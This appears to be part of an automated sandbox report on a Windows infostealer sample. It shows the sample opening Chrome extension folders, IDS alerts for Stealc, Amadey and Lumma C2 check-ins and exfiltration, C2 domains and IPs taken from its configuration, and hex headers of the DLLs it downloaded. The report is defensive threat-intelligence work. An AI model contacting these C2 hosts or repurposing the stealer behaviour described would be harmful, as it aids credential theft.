Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.9:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.9:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49845 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.9:49846
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49849 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49853 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49854 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49854 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49856 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:16:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:16:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:17:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:17:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:17:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:17:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 